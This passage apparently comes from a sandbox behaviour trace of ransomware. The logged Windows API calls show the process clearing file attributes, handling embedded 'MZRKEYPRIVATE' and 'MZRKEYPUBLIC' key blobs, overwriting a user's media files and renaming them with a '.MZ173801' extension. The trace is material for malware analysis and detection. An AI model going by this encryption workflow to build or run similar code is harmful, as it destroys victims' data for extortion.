cAlternateFileName="WUWHFL~1.MP3")) returned 1 [0184.076] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0184.076] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0184.076] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\wuwHfL fJ2t.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\wuwhfl fj2t.mp3"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa77e5890, ftCreationTime.dwHighDateTime=0x1d5e8a9, ftLastAccessTime.dwLowDateTime=0x26bcbb20, ftLastAccessTime.dwHighDateTime=0x1d5e651, ftLastWriteTime.dwLowDateTime=0x26bcbb20, ftLastWriteTime.dwHighDateTime=0x1d5e651, nFileSizeHigh=0x0, nFileSizeLow=0x1018b)) returned 1 [0184.076] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\wuwHfL fJ2t.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\wuwhfl fj2t.mp3")) returned 0x20 [0184.076] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\wuwHfL fJ2t.mp3", dwFileAttributes=0x80) returned 1 [0184.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0184.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321ec7c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0184.080] GetCurrentThreadId () returned 0xab4 [0184.080] GetCurrentThreadId () returned 0xab4 [0184.080] GetCurrentThreadId () returned 0xab4 [0184.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0184.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a003c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0184.081] GetCurrentThreadId () returned 0xab4 [0184.081] GetCurrentThreadId () returned 0xab4 [0184.081] GetCurrentThreadId () returned 0xab4 [0184.081] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\wuwHfL fJ2t.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\wuwhfl fj2t.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0184.081] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0184.081] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0184.081] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x1018b [0184.082] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0184.082] ReadFile (in: hFile=0x32c, lpBuffer=0x24a7e40, nNumberOfBytesToRead=0x1018b, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a7e40*, lpNumberOfBytesRead=0x19f74c*=0x1018b, lpOverlapped=0x0) returned 1 [0184.083] CloseHandle (hObject=0x32c) returned 1 [0184.084] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\wuwHfL fJ2t.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\wuwhfl fj2t.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0184.086] WriteFile (in: hFile=0x32c, lpBuffer=0x24b9e70*, nNumberOfBytesToWrite=0x1018b, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24b9e70*, lpNumberOfBytesWritten=0x19f758*=0x1018b, lpOverlapped=0x0) returned 1 [0184.089] CloseHandle (hObject=0x32c) returned 1 [0184.089] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\wuwHfL fJ2t.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\wuwhfl fj2t.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\wuwHfL fJ2t.mp3.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\wuwhfl fj2t.mp3.mz173801")) returned 1 [0184.090] GetCurrentThreadId () returned 0xab4 [0184.090] GetCurrentThreadId () returned 0xab4 [0184.090] GetCurrentThreadId () returned 0xab4 [0184.090] GetCurrentThreadId () returned 0xab4 [0184.090] GetCurrentThreadId () returned 0xab4 [0184.090] GetCurrentThreadId () returned 0xab4 [0184.090] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39d5960, ftCreationTime.dwHighDateTime=0x1d5e719, ftLastAccessTime.dwLowDateTime=0xb1ad15f0, ftLastAccessTime.dwHighDateTime=0x1d5eb96, ftLastWriteTime.dwLowDateTime=0xb1ad15f0, ftLastWriteTime.dwHighDateTime=0x1d5eb96, nFileSizeHigh=0x0, nFileSizeLow=0x3683, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="Zu8KI.mkv", cAlternateFileName="")) returned 1 [0184.090] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0184.090] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0184.090] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\Zu8KI.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\zu8ki.mkv"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39d5960, ftCreationTime.dwHighDateTime=0x1d5e719, ftLastAccessTime.dwLowDateTime=0xb1ad15f0, ftLastAccessTime.dwHighDateTime=0x1d5eb96, ftLastWriteTime.dwLowDateTime=0xb1ad15f0, ftLastWriteTime.dwHighDateTime=0x1d5eb96, nFileSizeHigh=0x0, nFileSizeLow=0x3683)) returned 1 [0184.091] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\Zu8KI.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\zu8ki.mkv")) returned 0x20 [0184.091] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\Zu8KI.mkv", dwFileAttributes=0x80) returned 1 [0184.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMc